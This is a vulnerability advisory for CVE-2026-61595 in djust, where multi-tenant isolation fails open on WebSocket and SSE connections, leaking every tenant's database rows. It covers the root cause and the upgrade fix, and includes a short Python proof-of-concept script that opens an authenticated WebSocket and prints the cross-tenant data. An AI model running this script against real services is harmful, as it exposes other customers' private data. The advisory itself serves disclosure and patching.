CVE-2026-61595: djust Multi-Tenant Isolation Fails Open on WebSocket/SSE Path
Any authenticated user who opens a WebSocket or SSE connection to a djust LiveView receives unfiltered database rows from every tenant, because the tenant context was never set on the live transport…

The problem
djust stored the active tenant in threading.local, set only by the HTTP-only TenantMiddleware. The WebSocket and SSE transports bypass that middleware entirely, so get_current_tenant() always returned None during mount and every event handler on those paths.
With no tenant bound, the tenant-aware QuerySet manager had no filter to apply. Instead of rejecting the query, it silently returned the full, unscoped queryset, leaking every row from every tenant to whoever held the socket. STRICT_MODE=False made this even worse, and threading.local introduced an extra hazard: state could bleed across connections sharing the same sync_to_async executor thread.
Proof of concept
A working proof-of-concept for CVE-2026-61595 in djust, with the exact payload below.
# Tenant A's authenticated user opens a WebSocket to a TenantScopedMixin view.
# No TenantMiddleware runs on the WS path, so get_current_tenant() == None.
# The manager returns the unscoped queryset (all tenants' rows).
import websockets, asyncio, json
async def leak():
uri = "wss://saas.example.com/djust/ws/orders/" # any TenantScopedMixin LiveView
async with websockets.connect(
uri,
extra_headers={"Cookie": "sessionid=<tenant_a_session>"},
) as ws:
# Mount triggers get_context() -> mount() -> TenantScopedMixin.get_queryset()
# get_current_tenant() is None -> manager returns Order.objects.all() unfiltered
frame = json.loads(await ws.recv())
# frame contains rendered HTML with rows from ALL tenants
print(frame)
asyncio.run(leak())The root cause is CWE-636 (Not Failing Securely). The tenant lookup returned None on the async transport, and the QuerySet manager treated None as "no filter needed" rather than "fail closed." The patch moved tenant storage from threading.local to a contextvars.ContextVar, so each async task gets its own isolated slot.
The resolved tenant is now bound explicitly at WS/SSE mount time and re-bound around every dispatch. Both managers now call .none() when the tenant is missing under STRICT_MODE (the default), and the new system check S006 warns operators who disable strict mode.
The fix
Upgrade to djust 1.0.7. No workaround exists for the live transport path on earlier versions. After upgrading, verify DJUST_TENANTS = {"STRICT_MODE": True} (the default) in your settings; system check S006 will warn if it is disabled.
Related research
- high · 8.1CVE-2026-61593CVE-2026-61593: djust Cross-Site Request Forgery via Server-Sent Events Transport
- high · 7.4CVE-2026-61590CVE-2026-61590: djust Unauthenticated Observability Endpoint Exposure
- high · 8.2CVE-2026-55571CVE-2026-55571: djust LiveView WebSocket Authentication Bypass
- critical · 9.8CVE-2026-54569CVE-2026-54569: senaite.core Unauthenticated Remote Code Execution via Eval Injection in JSON API